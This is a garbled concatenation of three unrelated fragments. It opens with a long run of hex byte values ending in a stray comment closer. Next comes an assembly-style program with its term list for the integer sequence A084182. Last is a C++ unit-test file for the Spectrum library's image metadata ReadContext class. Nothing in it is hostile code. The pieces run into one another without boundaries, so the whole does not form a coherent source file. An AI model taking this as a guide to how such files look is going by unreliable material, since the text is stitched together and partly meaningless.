b2 b2 b2 b2 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 00 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 b2 b2 b2 b2 b2 00 b2 00 b2 b2 b2 00 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 00 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 00 b2 00 b2 b2 b2 00 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 00 b2 b2 b2 00 b2 b2 b2 b2 b2 00 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 00 00 b2 b2 b2 b2 b2 b2 b2 00 00 b2 00 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 00 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 00 b2 b2 b2 b2 b2 b2 00 b2 b2 b2 b2 00 b2 b2 b2 b2 */
; A084182: 3^n+(-1)^n-[1/(n+1)], where [] represents the floor function. ; 1,2,10,26,82,242,730,2186,6562,19682,59050,177146,531442,1594322,4782970,14348906,43046722,129140162,387420490,1162261466,3486784402,10460353202,31381059610,94143178826,282429536482,847288609442 mov $1,2 mov $7,2 lpb $0 add $0,1 mov $2,$7 gcd $2,$0 mul $2,2 mov $5,$7 mov $6,$1 mov $8,$6 mov $6,6 div $6,2 add $6,$5 add $8,1 pow $8,$0 cmp $0,1024 lpe sub $2,$5 mov $3,$6 clr $3,$2 sub $8,5 add $3,$8 add $3,2 mov $1,$3 trn $1,2 div $1,3 add $1,1
// Copyright (c) Facebook, Inc. and its affiliates. // // This source code is licensed under the MIT license found in the // LICENSE file in the root directory of this source tree. #include <spectrum/image/metadata/ReadContext.h> #include <gtest/gtest.h> namespace facebook { namespace spectrum { namespace image { namespace metadata { namespace test { TEST( image_matadata_ReadContext, whenCreatingAContext_thenPropertiesAreCorrect) { const auto location = std::uint8_t{0}; const auto location2 = std::uint8_t{0}; const auto dataLength = std::size_t{42}; const auto context = ReadContext{&location2, dataLength, &location, false}; ASSERT_EQ(&location, context.tiffHeaderBegin); ASSERT_EQ(&location2 + dataLength, context.dataEnd); ASSERT_FALSE(context.isLittleEndianEncoded); } TEST( image_matadata_ReadContext, whenTiffAddressIsNotBetweenDataBeginAndDataEnd_thenThrows) { const auto location = std::uint8_t{0}; const auto location2 = std::uint8_t{0}; ASSERT_THROW( ReadContext(&location, 42, &location2, false), SpectrumException); } TEST(image_matadata_ReadContext, whenNullptrIsPassedAsDataBegin_thenThrows) { const auto location = std::uint8_t{0}; ASSERT_THROW(ReadContext(nullptr, 42, &location, false), SpectrumException); } TEST( image_matadata_ReadContext, whenNullptrIsPassedAsTiffHeaderBegin_thenThrows) { const auto location = std::uint8_t{0}; ASSERT_THROW(ReadContext(&location, 42, nullptr, false), SpectrumException); } TEST(image_matadata_ReadContext, whenZeroIsPassedAsDataLength_thenThrows) { const auto location = std::uint8_t{0}; const auto location2 = std::uint8_t{0}; ASSERT_THROW(ReadContext(&location2, 0, &location, false), SpectrumException); } } // namespace test } // namespace metadata } // namespace image } // namespace spectrum } // namespace facebook